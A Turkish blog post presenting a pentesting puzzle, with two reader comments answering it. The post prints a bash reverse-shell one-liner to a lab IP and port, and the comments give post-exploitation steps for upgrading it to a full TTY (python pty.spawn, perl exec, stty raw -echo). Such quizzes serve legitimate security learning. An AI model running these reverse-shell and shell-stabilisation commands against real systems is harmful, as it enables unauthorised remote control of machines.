top of page

Kaan Soruyor! - Siber Bulmaca: “Kabuk İçinde Kabuk”

🧠 Gerçek bir pentester mısın? Bu bulmacayı çöz.

📜 Senaryo: Bir hedef sisteme reverse shell bağlantısı almayı başardın:


bash -i >& /dev/tcp/10.10.10.10/4444 0>&1

Bağlantı geldi, ama terminal tam çalışmıyor. Komutlar yazılıyor ama tab tuşu, Ctrl+C, clear vs. çalışmıyor.

Bir komutla shell’i daha kullanışlı bir hale getirdin, hatta python sistemde kurulu olmasaydı başka bir yöntem deneyecektin.


🕵️‍♂️ Soru:

  1. Reverse shell’i daha kararlı hale getirmek için hangi spesifik komutu yazdın?

  2. Eğer sistemde python olmasaydı, hangi alternatif dillerle interaktif shell elde edebilirdin?



🔓 Bonus (gerçek uzmanlara):


3. Eğer hedef sistemde sadece sh varsa ve sen bash çalıştırmak istiyorsan, ne yaparsın?


4. TTY shell’i tam fonksiyonel hale getirmek için hangi stty ayarlarını kullanırsın?




💬 Bu soruları sadece bilenler cevaplasın. Cevapları teknik detayla YORUMA bırak.


📌 Doğru cevabı detaylı anlatan 1 kişiyi hikâyede paylaşacağım.



HACKİNG ÖĞRENMEK İSTEYENLER


 
 
 

2 comentários


Enes Akdoğan
Enes Akdoğan
16 de jun.

python3 -c 'import pty; pty.spawn("/bin/bash")' ile shell'i daha stabil hâle getiririm.


Python yoksa:

perl -e 'exec "/bin/bash";' veya /bin/sh -i komutlarını kullanırım.


Sadece sh varsa:

exec /bin/sh -i


TTY için:

Ctrl+Z, sonra:

stty raw -echo; fg; reset

export TERM=xterm

stty rows 40 columns 80


Bu işlemler tam interaktif shell sağlar.

Curtir
Enes Akdoğan
Enes Akdoğan
16 de jun.
Respondendo a

pty.spawn("/bin/bash") komutu ile shell'i pseudo-terminal'e çeviriyorum. Böylece tab, ctrl+c, clear gibi komutlar düzgün çalışıyor.


Python yoksa alternatif olarak Perl veya sh kullanırım. /bin/sh -i komutu basit interaktif shell verir. Perl ile de benzer şekilde shell elde edilebilir.


Eğer sadece sh varsa ve bash yoksa exec /bin/sh -i komutu ile sh içinde kalıcı shell başlatılır.


Ctrl+Z yapıp shell'i arka plana alıyorum, stty raw -echo ile terminal ayarlarını düzeltiyorum. fg komutuyla shell'i geri getiriyorum. reset ile terminali temizliyorum. export TERM=xterm ve stty rows 40 columns 80 ile tam ekran ve düzgün çalışan TTY elde ediyorum.


Böylece reverse shell tam işlevsel oluyor.

Curtir
bottom of page